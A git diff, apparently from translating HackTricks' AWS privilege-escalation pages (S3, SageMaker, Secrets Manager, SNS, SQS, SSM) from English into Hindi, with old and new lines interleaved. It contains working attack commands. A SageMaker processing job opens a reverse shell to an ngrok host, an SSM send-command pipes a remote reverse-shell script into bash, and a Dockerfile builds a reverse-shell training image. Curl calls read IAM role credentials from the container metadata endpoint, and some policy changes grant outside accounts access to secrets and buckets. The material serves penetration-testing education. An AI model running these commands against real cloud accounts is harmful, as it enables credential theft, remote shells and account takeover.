"Resource":"arn:aws:s3:::somebucketname/*" - } - ] +"Id": "Policy1568185116930", +"Version":"2012-10-17", +"Statement":[ +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:root" +}, +"Action":"s3:ListBucket", +"Resource":"arn:aws:s3:::somebucketname" +}, +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:user/username" +}, +"Action":"s3:*", +"Resource":"arn:aws:s3:::somebucketname/*" +} +] } ## JSON Public policy example ### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } ``` - ### `s3:GetBucketAcl`, `s3:PutBucketAcl` -An attacker could abuse these permissions to **grant him more access** over specific buckets.\ -Note that the attacker doesn't need to be from the same account. Moreover the write access - +एक हमलावर इन अनुमतियों का दुरुपयोग करके **उसे विशेष बाल्टियों पर अधिक पहुंच देने** के लिए कर सकता है।\ +ध्यान दें कि हमलावर को उसी खाते से होने की आवश्यकता नहीं है। इसके अलावा, लेखन पहुंच ```bash # Update bucket ACL aws s3api get-bucket-acl --bucket @@ -125,27 +120,25 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -An attacker could abuse these permissions to grant him more access over specific objects inside buckets. - +एक हमलावर इन अनुमतियों का दुरुपयोग करके बकेट के अंदर विशिष्ट वस्तुओं पर अधिक पहुंच प्राप्त कर सकता है। ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -154,34 +147,27 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -An attacker with these privileges is expected to be able to put an Acl to an specific object version - +इन विशेषाधिकारों के साथ एक हमलावर को एक विशिष्ट ऑब्जेक्ट संस्करण पर Acl लगाने में सक्षम होने की उम्मीद है। ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 890686262..9a86caf6f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -6,68 +6,60 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -Start creating a noteboook with the IAM Role to access attached to it: - +IAM भूमिका के साथ एक नोटबुक बनाना शुरू करें जो इससे जुड़ी हो: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ - --instance-type ml.t2.medium \ - --role-arn arn:aws:iam:::role/service-role/ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ ``` - -The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready: - +उत्तर में `NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक उदाहरण का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं जिसका उपयोग हम नोटबुक उदाहरण तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो जाए: ```bash aws sagemaker create-presigned-notebook-instance-url \ - --notebook-instance-name +--notebook-instance-name ``` +Navigate to the URL with the browser and click on \`Open JupyterLab\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button. -Navigate to the URL with the browser and click on \`Open JupyterLab\`\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button. +अब IAM भूमिका के मेटाडेटा क्रेडेंशियल्स तक पहुंचना संभव है। -Now It's possible to access the metadata credentials of the IAM Role. - -**Potential Impact:** Privesc to the sagemaker service role specified. +**संभावित प्रभाव:** निर्दिष्ट सागेमेकर सेवा भूमिका के लिए प्रिवेस्क। ### `sagemaker:CreatePresignedNotebookInstanceUrl` -If there are Jupyter **notebooks are already running** on it and you can list them with `sagemaker:ListNotebookInstances` (or discover them in any other way). You can **generate a URL for them, access them, and steal the credentials as indicated in the previous technique**. - +यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` (या किसी अन्य तरीके से) सूचीबद्ध कर सकते हैं। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए गए अनुसार क्रेडेंशियल्स चुरा सकते हैं**। ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` - -**Potential Impact:** Privesc to the sagemaker service role attached. +**संभावित प्रभाव:** सागेमेकर सेवा भूमिका में प्रिवेस्क। ### `sagemaker:CreateProcessingJob,iam:PassRole` -An attacker with those permissions can make **sagemaker execute a processingjob** with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an **AWS managed ECS account instance**, and **steal the credentials of the IAM role attached**. - +उन अनुमतियों के साथ एक हमलावर **सागेमेकर को एक प्रोसेसिंगजॉब** निष्पादित करने के लिए मजबूर कर सकता है जिसमें एक सागेमेकर भूमिका संलग्न है। हमलावर उस कंटेनर की परिभाषा निर्दिष्ट कर सकता है जो एक **AWS प्रबंधित ECS खाता उदाहरण** में चलाया जाएगा, और **संलग्न IAM भूमिका के क्रेडेंशियल्स चुरा सकता है**। ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ - --processing-job-name privescjob \ - --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ - --app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ - --role-arn +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ +--app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ +--role-arn # In my tests it took 10min to receive the shell curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**संभावित प्रभाव:** निर्दिष्ट सागेमेकर सेवा भूमिका के लिए प्रिवेस्क। ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -An attacker with those permissions will be able to create a training job, **running an arbitrary container** on it with a **role attached** to it. Therefore, the attcke will be able to steal the credentials of the role. +उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बना सकेगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी। इसलिए, हमलावर भूमिका के क्रेडेंशियल चुरा सकेगा। > [!WARNING] -> This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job). +> यह परिदृश्य पिछले वाले की तुलना में अधिक कठिन है क्योंकि आपको एक Docker छवि उत्पन्न करनी होगी जो रिवर्स शेल या क्रेड्स को सीधे हमलावर को भेजेगी (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)। > > ```bash -> # Create docker image +> # Docker छवि बनाएँ > mkdir /tmp/rev -> ## Note that the trainning job is going to call an executable called "train" -> ## That's why I'm putting the rev shell in /bin/train -> ## Set the values of and +> ## ध्यान दें कि प्रशिक्षण नौकरी एक निष्पादन योग्य "train" को कॉल करने जा रही है +> ## इसलिए मैं रिवर्स शेल को /bin/train में रख रहा हूँ +> ## और के मान सेट करें > cat > /tmp/rev/Dockerfile < FROM ubuntu > RUN apt update && apt install -y ncat curl @@ -79,40 +71,34 @@ An attacker with those permissions will be able to create a training job, **runn > cd /tmp/rev > sudo docker build . -t reverseshell > -> # Upload it to ECR +> # इसे ECR पर अपलोड करें > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest > ``` - ```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ - --training-job-name privescjob \ - --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ - --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ - --role-arn \ - --output-data-config '{"S3OutputPath": "s3://"}' \ - --stopping-condition '{"MaxRuntimeInSeconds": 600}' +--training-job-name privescjob \ +--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ +--algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ +--role-arn \ +--output-data-config '{"S3OutputPath": "s3://"}' \ +--stopping-condition '{"MaxRuntimeInSeconds": 600}' #To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**संभावित प्रभाव:** निर्दिष्ट सागेमेकर सेवा भूमिका के लिए प्रिवेस्क। ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -An attacker with those permissions will (potentially) be able to create an **hyperparameter training job**, **running an arbitrary container** on it with a **role attached** to it.\ -&#xNAN;_I haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details._ +उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक **हाइपरपैरामीटर प्रशिक्षण कार्य** बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी।\ +&#xNAN;_I समय की कमी के कारण इसका लाभ नहीं उठाया है, लेकिन यह पिछले शोषणों के समान दिखता है, शोषण विवरण के साथ PR भेजने के लिए स्वतंत्र महसूस करें।_ -## References +## संदर्भ - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index bdc01433b..26ec2c0d8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more info about secrets manager check: +Secrets manager के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,44 +12,34 @@ For more info about secrets manager check: ### `secretsmanager:GetSecretValue` -An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**. - +इस अनुमति के साथ एक हमलावर AWS **Secretsmanager** में **एक रहस्य के अंदर सहेजा गया मान** प्राप्त कर सकता है। ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` - -**Potential Impact:** Access high sensitive data inside AWS secrets manager service. +**संभावित प्रभाव:** AWS सीक्रेट्स मैनेजर सेवा के अंदर उच्च संवेदनशील डेटा तक पहुंच। ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)). - +पिछले अनुमतियों के साथ, यह संभव है कि **अन्य प्रिंसिपल/खातों (यहां तक कि बाहरी)** को **गुप्त** तक पहुंच प्रदान की जाए। ध्यान दें कि **KMS कुंजी** के साथ एन्क्रिप्ट किए गए गुप्तों को **पढ़ने** के लिए, उपयोगकर्ता को **KMS कुंजी पर पहुंच** भी होनी चाहिए (अधिक जानकारी के लिए [KMS Enum पृष्ठ](../aws-services/aws-kms-enum.md) पर जाएं)। ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "secretsmanager:GetSecretValue", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 699bb58cf..a08d4f10a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,36 +12,26 @@ For more information check: ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +एक हमलावर SNS विषय पर दुर्भावनापूर्ण या अवांछित संदेश भेज सकता है, जिससे डेटा भ्रष्टाचार, अनपेक्षित क्रियाओं को ट्रिगर करने, या संसाधनों को समाप्त करने की संभावना होती है। ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**संभावित प्रभाव**: भेद्यता का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति। ### `sns:Subscribe` -An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +एक हमलावर एक SNS विषय में सदस्यता ले सकता है, संभावित रूप से संदेशों तक अनधिकृत पहुँच प्राप्त कर सकता है या विषय पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य को बाधित कर सकता है। ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` - -**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic. +**संभावित प्रभाव**: संदेशों (संवेदनशील जानकारी) तक अनधिकृत पहुंच, प्रभावित विषय पर निर्भर अनुप्रयोगों के लिए सेवा में बाधा। ### `sns:AddPermission` -An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions. - +एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को एक SNS विषय तक पहुंच प्रदान कर सकता है, संभावित रूप से आगे की अनुमतियां प्राप्त कर सकता है। ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**संभावित प्रभाव**: विषय तक अनधिकृत पहुंच, संदेश का खुलासा, या अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा विषय में हेरफेर, विषय पर निर्भर अनुप्रयोगों के लिए सामान्य कार्यप्रणाली में बाधा। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 384ed8430..d2330e9d0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -4,7 +4,7 @@ ## SQS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,39 +12,29 @@ For more information check: ### `sqs:AddPermission` -An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities. - +एक हमलावर इस अनुमति का उपयोग अनधिकृत उपयोगकर्ताओं या सेवाओं को SQS कतार तक पहुँच प्रदान करने के लिए नए नीतियों को बनाने या मौजूदा नीतियों को संशोधित करके कर सकता है। इससे कतार में संदेशों तक अनधिकृत पहुँच या अनधिकृत संस्थाओं द्वारा कतार में हेरफेर हो सकता है। ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**संभावित प्रभाव**: कतार तक अनधिकृत पहुंच, संदेशों का खुलासा, या अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा कतार में हेरफेर। ### `sqs:SendMessage` , `sqs:SendMessageBatch` -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +एक हमलावर SQS कतार में दुर्भावनापूर्ण या अवांछित संदेश भेज सकता है, जिससे डेटा भ्रष्टाचार, अनपेक्षित क्रियाओं को ट्रिगर करने, या संसाधनों का समाप्त होना हो सकता है। ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**संभावित प्रभाव**: कमजोरियों का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति। ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +एक हमलावर SQS कतार में संदेशों को प्राप्त, हटाने, या उनकी दृश्यता को संशोधित कर सकता है, जिससे संदेशों का नुकसान, डेटा भ्रष्टाचार, या उन संदेशों पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा उत्पन्न हो सकती है। ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**संभावित प्रभाव**: संवेदनशील जानकारी चुराना, संदेश हानि, डेटा भ्रष्टाचार, और प्रभावित संदेशों पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index c4067e2ca..9ffe461a3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -4,7 +4,7 @@ ## SSM -For more info about SSM check: +SSM के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,8 +12,7 @@ For more info about SSM check: ### `ssm:SendCommand` -An attacker with the permission **`ssm:SendCommand`** can **execute commands in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +एक हमलावर जिसके पास अनुमति **`ssm:SendCommand`** है, वह **Amazon SSM एजेंट चलाने वाले इंस्टेंस में कमांड निष्पादित कर सकता है** और **इसके अंदर चल रहे IAM भूमिका को समझौता कर सकता है**। ```bash # Check for configured instances aws ssm describe-instance-information @@ -21,26 +20,22 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` - -In case you are using this technique to escalate privileges inside an already compromised EC2 instance, you could just capture the rev shell locally with: - +यदि आप इस तकनीक का उपयोग पहले से ही समझौता किए गए EC2 उदाहरण के भीतर विशेषाधिकार बढ़ाने के लिए कर रहे हैं, तो आप बस निम्नलिखित के साथ स्थानीय रूप से रिव शेल कैप्चर कर सकते हैं: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**संभावित प्रभाव:** चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं पर सीधे प्रिवेस्क। ### `ssm:StartSession` -An attacker with the permission **`ssm:StartSession`** can **start a SSH like session in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +एक हमलावर जिसके पास अनुमति **`ssm:StartSession`** है, वह **Amazon SSM एजेंट चला रहे उदाहरणों में SSH जैसी सत्र शुरू कर सकता है** और **इसके अंदर चल रही IAM भूमिका को समझौता कर सकता है।** ```bash # Check for configured instances aws ssm describe-instance-information @@ -49,68 +44,58 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm start-session --target "$INSTANCE_ID" ``` - > [!CAUTION] -> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> सत्र शुरू करने के लिए आपको **SessionManagerPlugin** स्थापित करना होगा: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**संभावित प्रभाव:** चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं पर सीधे privesc जिनमें SSM एजेंट चल रहे हैं। -#### Privesc to ECS - -When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\ -According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\ -Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running: +#### ECS पर Privesc +जब **ECS कार्य** **`ExecuteCommand` सक्षम** होते हैं, तो पर्याप्त अनुमतियों वाले उपयोगकर्ता `ecs execute-command` का उपयोग करके कंटेनर के अंदर **एक कमांड निष्पादित** कर सकते हैं।\ +[**दस्तावेज़**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) के अनुसार, यह उस उपकरण के बीच एक सुरक्षित चैनल बनाकर किया जाता है जिसका उपयोग आप “_exec_“ कमांड शुरू करने के लिए करते हैं और लक्षित कंटेनर के साथ SSM सत्र प्रबंधक। (इस कार्य के लिए SSM सत्र प्रबंधक प्लगइन आवश्यक है)\ +इसलिए, `ssm:StartSession` वाले उपयोगकर्ता उस विकल्प को सक्षम करके **ECS कार्यों के अंदर एक शेल प्राप्त** कर सकेंगे, बस यह चलाकर: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` - ![](<../../../images/image (185).png>) -**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled. +**संभावित प्रभाव:** `ExecuteCommand` सक्षम चल रहे कार्यों से जुड़े `ECS` IAM भूमिकाओं पर सीधे प्रिवेस्क। ### `ssm:ResumeSession` -An attacker with the permission **`ssm:ResumeSession`** can re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state and **compromise the IAM Role** running inside of it. - +एक हमलावर जिसके पास अनुमति **`ssm:ResumeSession`** है, वह **Amazon SSM एजेंट के साथ चल रहे उदाहरणों में SSH जैसी सत्र को फिर से शुरू कर सकता है** जिसमें **अविभाजित** SSM सत्र स्थिति है और **इसके अंदर चल रही IAM भूमिका को समझौता कर सकता है।** ```bash # Check for configured instances aws ssm describe-sessions # Get resume data (you will probably need to do something else with this info to connect) aws ssm resume-session \ - --session-id Mary-Major-07a16060613c408b5 +--session-id Mary-Major-07a16060613c408b5 ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions. +**संभावित प्रभाव:** चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं पर सीधे प्रिवेस्क को प्रभावित करना जिनमें SSM एजेंट चल रहे हैं और डिस्कनेक्टेड सत्र हैं। ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys. - +उपरोक्त अनुमतियों के साथ एक हमलावर **SSM पैरामीटर** की सूची बनाने और **उन्हें स्पष्ट पाठ में पढ़ने** में सक्षम होगा। इन पैरामीटर में आप अक्सर **संवेदनशील जानकारी** जैसे SSH कुंजी या API कुंजी पा सकते हैं। ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` - -**Potential Impact:** Find sensitive information inside the parameters. +**संभावित प्रभाव:** पैरामीटर के अंदर संवेदनशील जानकारी खोजें। ### `ssm:ListCommands` -An attacker with this permission can list all the **commands** sent and hopefully find **sensitive information** on them. - +इस अनुमति के साथ एक हमलावर सभी **कमांड** सूचीबद्ध कर सकता है और उम्मीद है कि उन पर **संवेदनशील जानकारी** पाए। ``` aws ssm list-commands ``` - -**Potential Impact:** Find sensitive information inside the command lines. +**संभावित प्रभाव:** कमांड लाइनों के अंदर संवेदनशील जानकारी खोजें। ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -An attacker with these permissions can list all the **commands** sent and **read the output** generated hopefully finding **sensitive information** on it. - +इन अनुमतियों के साथ एक हमलावर सभी **कमांड** की सूची बना सकता है और **आउटपुट पढ़ सकता है** जिससे उम्मीद है कि वह उस पर **संवेदनशील जानकारी** पाएगा। ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -118,19 +103,14 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` +**संभावित प्रभाव:** कमांड लाइनों के आउटपुट के अंदर संवेदनशील जानकारी खोजें। -**Potential Impact:** Find sensitive information inside the output of the command lines. +### कोडबिल्ड -### 